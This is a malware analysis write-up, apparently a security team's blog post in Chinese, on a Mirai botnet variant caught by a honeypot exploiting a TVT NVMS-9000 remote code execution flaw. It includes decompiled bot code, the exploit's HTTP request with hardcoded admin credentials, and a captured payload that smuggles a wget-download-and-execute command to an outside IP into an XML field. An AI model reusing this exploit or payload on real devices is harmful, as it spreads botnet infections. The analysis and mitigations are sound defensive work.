基本信息
文件名 | garm7 |
---|---|
MD5 | 62e04eb8fddf12afdb9a15ac8be1f4df |
SHA-1 | ff3d64ca7ec8a39938c3a2071f375c2b60d643d7 |
SHA-256 | c5fe1eb3a3f1ab1d7cbd780cba4a97df2a8199627ea12a707c3cc7edf8c8ecb9 |
Vhash | d29277f91b89e247d7787668032842c4 |
SSDEEP | 3072:34c6yjHn9iKxdJRwMFq7X1aTZ9FTM07YFXiwfYVefDUrKUHM/9V1EMmUb3WM9Bx:Ic6yH1xZdFqj1aTZ9FTM0UFSZ0grKQMB |
TLSH | T16E044D46AA409A13C1D7177AFA9F024633329B64D3DB730699286FF43F8775E0E63606 |
File type | ELF |
Magic | ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, not stripped |
Telfhash | t1f631aeb15f2b95151669dbec88e873ab411c97252247ef33ff22c5ac940908ee125c0f |
TrID | ELF Executable and Linkable format (generic) (100%) |
File size | 178.27 KB (182551 bytes) |
攻击来源
IP | 211.227.170.90 |
---|---|
地理位置 | 韩国 |
攻击传播源可能IP
185.125.188.54 |
---|
185.125.190.27 |
185.125.190.26 |
来自英国伦敦
安全通告
在5月17号,启明星辰发布公告通告存在 ip 利用TVT_NVMS-9000
存在 RCE 漏洞,5月26日首次在 VT 发现利用该漏洞的 Mirai 可疑样本。
6月2日本人搭建个人蜜罐捕获了可疑攻击流量中发现了该样本文件,于是秉承学习的想法,开始了查阅资料的学习。
主要流程
和曾经的 IOTroop 类似
1、已被感染的设备会扫描周围的其它设备,并把扫描到的信息传给 reporter 服务器,这些易感染的设备信息再有 reporter 服务器交给 loader 服务器。
2、loader 服务器收到感染设备信息后,利用上面的 IOT 漏洞进行恶意代码植入。
3、植入一旦成功,就会从 downloader 服务器下载样本,同时会扫描周围其它的 IOT 设备上传到 reporter 服务器。
4、等到攻击者构建了足够规模的僵尸网络,controller 服务器就会下发指令
开始分析
在沙箱中我们可以看到该文件有自己的反调试的实现,对我这样一个初学样本分析的 noob 而言,实现动调比较困难
既然动态调试不太成功,那我们可以考虑一下静态调试。首先拖入 IDA 找到main
函数
映入眼帘的就是检查有无获取建立连接和修改 dns 服务器以求更稳定的连接的操作,随后就开始获取信息,进行下一步隐藏和攻击。
通过lma0_unlock_val
我们可以跟进去查看相关的一个解锁算法,但是我们看不到它的字符内容,因为它无法动调,他将重要的字符串都做了加密处理。
char *__fastcall lma0_unlock_val(int a1)
{
char *result; // r0
char v2; // r6
char v3; // r5
unsigned int v4; // r4
char v5; // lr
int v6; // r12
result = &lma0[8 * a1];
v2 = BYTE1(lma0_key);
v3 = BYTE2(lma0_key);
v4 = HIBYTE(lma0_key);
v5 = lma0_key;
if ( *((_WORD *)result + 2) )
{
v6 = 0;
do
{
*(_BYTE *)(v6 + *(_DWORD *)result) ^= v5;
*(_BYTE *)(v6 + *(_DWORD *)result) ^= v2;
*(_BYTE *)(v6 + *(_DWORD *)result) ^= v3;
*(_BYTE *)(v6 + *(_DWORD *)result) ^= v4;
++v6;
}
while ( *((unsigned __int16 *)result + 2) > v6 );
}
return result;
}
通过追踪lma0_key
我们可以找到 key 值
v10 = opendir("/proc"); // 打开/proc挂载目录
while ( 1 )
{
v11 = readdir(v10); // 获取proc下的进程号,与程序进行比较验证
if ( !v11 )
break;
while ( 1 )
{
v12 = atol(v11 + 11);
if ( v12 <= 0 )
break;
if ( getppid() == v12 ) // 此处就是在进行比较验证
break;
if ( getpid() == v12 )
break;
memset(v79, 0, sizeof(v79));
v13 = (const char *)table_retrieve(0x10, 0);
v14 = (const char *)table_retrieve(0x11, 0);
sprintf(v78, "%s%d%s", v13, v12, v14);
readlink(v78, v79, 4095); // 获取当前路径
v15 = table_retrieve('0', 0);
if ( strcasestr(v79, v15) ) // 检索
break;
v16 = lma0_retrieve_val(2, 0);
if ( strcasestr(v79, v16) )
goto LABEL_11;
v34 = table_retrieve(0x18, 0);
if ( strcasestr(v79, v34) )
goto LABEL_11;
v35 = table_retrieve(0x19, 0);
if ( strcasestr(v79, v35) )
goto LABEL_11;
v36 = table_retrieve(0x1A, 0);
if ( strcasestr(v79, v36) )
goto LABEL_11;
v37 = table_retrieve(0x1B, 0);
if ( strcasestr(v79, v37) )
goto LABEL_11;
v38 = table_retrieve(0x1C, 0);
if ( strcasestr(v79, v38) )
goto LABEL_11;
v39 = table_retrieve(0x1D, 0);
if ( strcasestr(v79, v39) )
goto LABEL_11;
v40 = table_retrieve(0x1E, 0);
if ( strcasestr(v79, v40) )
goto LABEL_11;
v41 = table_retrieve(0x1F, 0);
if ( strcasestr(v79, v41) )
goto LABEL_11;
v42 = table_retrieve(' ', 0);
if ( strcasestr(v79, v42)
|| (v43 = table_retrieve('!', 0), strcasestr(v79, v43))
|| (v44 = table_retrieve('"', 0), strcasestr(v79, v44))
|| (v45 = table_retrieve('#', 0), strcasestr(v79, v45))
|| (v46 = table_retrieve('$', 0), strcasestr(v79, v46))
|| (v47 = table_retrieve('%', 0), strcasestr(v79, v47))
|| (v48 = table_retrieve(''', 0), strcasestr(v79, v48))
|| (v49 = table_retrieve(')', 0), strcasestr(v79, v49))
|| strcasestr(v79, "=p{|=pgakp}j2VW_]") )
{
LABEL_11:
kill(v12, 9); // 将自己的进程停止
}
util_zero(v78, 4096);
v11 = readdir(v10); // 读出挂在的进程文件
if ( !v11 )
goto LABEL_13;
}
}
随后在watchdog_maintain(v17);
开始对 watchdog 进行清理关闭
LABEL_13:
rewinddir(v10); // 重载和关闭目录
closedir(v10);
table_lock_val(0x10);
table_lock_val(0x11);
table_lock_val(0x18);
table_lock_val(0x19);
table_lock_val(0x1A);
table_lock_val(0x1B);
table_lock_val(0x1C);
table_lock_val(0x1D);
table_lock_val(0x1E);
table_lock_val(0x1F);
table_lock_val(0x20);
table_lock_val(0x21);
table_lock_val(0x22);
table_lock_val(0x23);
table_lock_val(0x24);
table_lock_val(0x25);
table_lock_val(0x27);
table_lock_val(0x29);
table_lock_val(0x30);
lma0_lock_val(1);
v17 = lma0_lock_val(2);
v18 = watchdog_maintain(v17);
v19 = ensure_single_instance(v18);
rand_init(v19);
v20 = util_zero(v83, 32);
跟进watchdog_maintain(v17);可以看到函数将可能存在的watchdog全部检索关闭
int result; // r0
_BOOL4 v2; // r5
int v3; // r4
int v4; // [sp+4h] [bp-14h] BYREF
result = fork(a1);
v2 = result > 0 || result == -1;
watchdog_pid = result;
if ( !v2 )
{
v4 = 1;
v3 = open("/dev/watchdog", 2);
if ( v3 == -1 )
{
v3 = open("/dev/watchdog0", 2);
if ( v3 == -1 )
{
v3 = open("/dev/misc/watchdog", 2);
if ( v3 == -1 )
{
v3 = open("/etc/watchdog", 2);
if ( v3 == -1 )
{
v3 = open("/dev/FTWDT101_watchdog", 2);
if ( v3 == -1 )
{
v3 = open("/dev/FTWDT101/watchdog", 2);
if ( v3 == -1 )
{
v3 = open("/sbin/watchdog", 2);
if ( v3 == -1 )
{
v3 = open("/bin/watchdog", 2);
if ( v3 == -1 )
{
v3 = open("/etc/default/watchdog", 2);
if ( v3 == -1 )
exit(0);
}
}
}
}
}
}
}
}
ioctl(v3, -2147199228, &v4);
while ( 1 )
{
ioctl(v3, -2147199227, 0);
sleep(10);
}
}
return result;
}
加载成功随后开始生成攻击数据以及开启多线程向外感染,一个单独的加载程序通过登录、确定底层系统环境,最后下载并执行特定于体系结构的恶意软件,异步地影响这些易受攻击的设备。
v19 = ensure_single_instance(v18);
rand_init(v19);
v20 = util_zero(v83, 32);
if ( argc == 2 )
{
v20 = util_strlen(argv[1]);
if ( v20 <= 31 )
{
util_strcpy(v83, argv[1]);
v32 = argv[1];
v33 = util_strlen(v32);
v20 = util_zero(v32, v33);
}
}
v21 = rand_next(v20);
v22 = util_strlen(*argv);
v23 = util_strlen(*argv) + v21 % (20 - v22);
rand_alpha_str(v84, v23); // 生成攻击数据
v24 = *argv;
v84[v23] = 0;
util_strcpy(v24, v84);
v25 = util_zero(v84, 32);
v26 = rand_next(v25);
v27 = util_strlen(*argv);
v28 = util_strlen(*argv) + v26 % (20 - v27);
rand_alpha_str(v84, v28); // 生成攻击数据
v84[v28] = 0;
prctl(15, v84);
resolve_func = (int (__fastcall *)(_DWORD))resolve_cnc_addr;// 可参考Hoaxcalls僵尸网络
table_add(4);
v29 = table_retrieve(4, &v89);
write(1, v29, v89);
write(1, "n", 1);
v30 = table_lock_val(4);
if ( fork(v30) <= 0 )
{
v76 = setsid();
v50 = attack_init(); // 开启传播进程
v51 = killer_init(v50);
v52 = tvt_scanner_scanner_init(v51); // 向外扫描传播
scanner_init(v52);
跟进tvt_scanner_scanner_init(v51);
可以看到存在攻击 poc
if ( v72 == 2 )
{
util_strcpy(
v68 + 536,
"POST /editBlackAndWhiteList HTTP/1.1rn"// tvt_NVMS-9000 RCE
"Accept-Encoding: identityrn"
"Content-Length: 644rn"
"Accept-Language: en-usrn"
"Host: ");
sprintf(
v85,
"%d.%d.%d.%d:%d", // 此处使用之前获取的report(本地)ip
(unsigned __int8)*((_DWORD *)v68 + 3),
BYTE1(*((_DWORD *)v68 + 3)),
(unsigned __int8)BYTE2(*((_DWORD *)v68 + 3)),
HIBYTE(*((_DWORD *)v68 + 3)),
our_Port);
strcat(v68 + 536, v85);
strcat(
v68 + 536,
"rn" // 伪造虚假管理员信息
"Accept: */*rn"
"User-Agent: Mozila/5.0rn"
"Connection: closern"
"Cache-Control: max-age=0rn"
"Content-Type: text/xmlrn"
"Authorization: Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=rn"
"rn");
table_add(59);
v79 = table_retrieve(59, 0);
通过该被控制的服务,向外继续扫描,以达到壮大僵尸网络的目的。
为了以防万一在后面还进行了一次 kill dog 的检测
if ( fd_ctrl != -1 && ((*(int *)&v90[2 * ((unsigned int)fd_ctrl >> 5) - 119] >> (fd_ctrl & 0x1F)) & 1) != 0 )
{
v88 = 16;
v69 = accept();
v70 = scanner_kill(v69);
killer_stop(v70);
kill(-v76, 9);
if ( watchdog_pid )
kill(watchdog_pid, 9); // 关闭watchdog
exit(0);
}
最终蜜罐捕获攻击者发送的流量包内容为:
POST/editBlackAndWhiteListHTTP/1.1
Accept:*/*
Accept-Encoding:identity
Accept-Language:en-us
Authorization:Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=
Cache-Control:max-age=0
Connection:close
Content-Length:644
Content-Type:text/xml
User-Agent:Mozila/5.0
<?xml version="1.0" encoding="utf-8"?><request version="1.0" systemType="NVMS-9000" clientType="WEB"><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type="filterTypeMode">refuse</filterType><filterList type="list"><itemType><addressType type="addressType"/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(cd${IFS}/tmp;wget${IFS}http://92.118.230.134/garm7${IFS}-O-${IFS}>GSec;chmod${IFS}777${IFS}GSec;./GSec${IFS}tvt)</ip></item></filterList></content></request>
如此我们可以看到,他实际上是借用漏洞去下载一个二进制木马程序并执行,目前 VT 收到的样本数量较少,而且攻击流量越来越多,表明许多设备可能已经被感染了。
处理意见
-
更新最新的版本固件,检查
/tmp
目录下文件 -
检查 watchdog 是否异常关闭
-
对
/editBlackAndWhiteList
访问请求控制 -
实时关注最新防御动态
-
将您的摄像头配置在NAT之后,不要直接暴露在互联网中
总结
该 mirai 病毒在后续的深入了解中发现,似乎最早曾经于19年出现过一段高度快速传播时期,主要ip为:93.174.93.178 近期又一次利用僵尸网络加快其传播速度IP为92.118.230.134
-
2019于10月2日至10月7日发起,在此期间,93.174.93.178 完成了其十月以来的所有漏洞探测行为 -
2019年10月7日之后,93.174.93.178 停止了漏洞探测活动 -
2020年1月至2020年4月,该攻击非常活跃 -
2020年5月-6月,该攻击骤减 -
2020年7月起,该攻击再次活跃 -
2022年六月起,继续捕获到该攻击活跃
此次针对 TVT DVR 的攻击,复杂的攻击流程、base64 编码的恶意载荷、建立反向 shell 的样本投递方法,极大程度隐藏了其样本服务器的信息,无论对捕获系统的交互能力还是对捕获后的分析,都是一种极高考验。
并且我们怀疑攻击人员对该漏洞的利用进行了微调。另外,大部分被感染的服务器还在不同程度地参与了扫描探测活动,利用其他漏洞和服务,攻击物联网设备。
该程序利用 POC 并无 CVE 编号,但已在 github 存在公开 POC,据 20 年 7 月时官房未发布相关补丁,截至今日官方似乎仍未发布相关补丁。
参考文献
-
https://www.venustech.com.cn/new_type/mzsjgg/20220517/23876.html
-
https://www.secrss.com/articles/14661
-
https://blog.csdn.net/systemino/article/details/105394761
-
https://cloud.tencent.com/developer/article/1670405
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃